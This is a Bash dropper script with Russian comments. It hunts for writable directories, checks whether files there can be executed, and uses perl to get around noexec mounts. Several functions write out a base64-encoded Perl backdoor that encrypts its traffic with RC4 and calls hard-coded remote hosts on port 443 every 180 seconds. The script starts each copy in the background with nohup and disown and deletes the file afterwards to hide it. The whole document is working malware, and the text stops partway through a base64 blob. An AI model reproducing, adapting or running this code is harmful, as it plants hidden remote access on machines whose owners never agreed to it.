#!/bin/bash

# Списки путей для сканирования
SEARCH_PATHS=("/tmp" "/var" "/dev/shm" "/home" "/usr/local" "/opt" "/mnt" "/srv")
PAUSE_SEC=0.3

# Массивы для папок
declare -a gold_dirs   # Сюда можно писать и ЗАПУСКАТЬ (exec разрешен)
declare -a silver_dirs # Сюда можно только писать (noexec стоит), запуск через perl

# 1. Генератор имен
gen_rand_name() {
    cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 6 | head -n 1
}

# 2. Поиск настоящего Perl
get_perl_path() {
    if command -v perl >/dev/null 2>&1; then command -v perl
    elif [ -x "/usr/bin/perl" ]; then echo "/usr/bin/perl"
    elif [ -x "/usr/local/bin/perl" ]; then echo "/usr/local/bin/perl"
    else echo ""; fi
}

# 3. Умный сканер
scan_dirs() {
    # Ищем папки, доступные для записи текущему юзеру
    # Исключаем системные proc/sys/dev
    local raw_dirs=$(find "${SEARCH_PATHS[@]}" \
        -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o \
        -type d -writable 2>/dev/null | head -n 300)

    for dir in $raw_dirs; do
        local tfile="$dir/.chk_$RANDOM"

        # Проверяем запись
        if echo "#!/bin/sh" > "$tfile" 2>/dev/null; then
            chmod +x "$tfile"

            # Проверяем исполнение (Exec)
            # Пытаемся запустить созданный файл через ./
            if (cd "$dir" && ./"$(basename "$tfile")") >/dev/null 2>&1; then
                gold_dirs+=("$dir") # Отлично, тут работает ./script
            else
                silver_dirs+=("$dir") # Тут только perl script
            fi
            rm -f "$tfile"
        fi

        # Хватит 30 хороших папок, чтобы не тормозить
        if [ ${#gold_dirs[@]} -ge 30 ]; then break; fi
    done
}

f_4316c037() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwoKCSBteSAkZ3MgPSAwOwoKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9yIDAuLjI1NTsKCgkgZG8gewoKCQkgdmVjKCQkYnVmZjAsICRzdGF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AkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_4485feeb() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOw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MSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_a45a8064() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwg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oKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_70aa2bd1() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2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mod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_85b45d08() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWI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fd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_17412d49() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распа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JzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_e1c5184c() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKC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0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_7b810715() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0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LCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_81ced56c() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgk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VtYWluaW5nNDsKCgkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlYXgsICRyZW1haW5pbmc0KTsKCgkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKC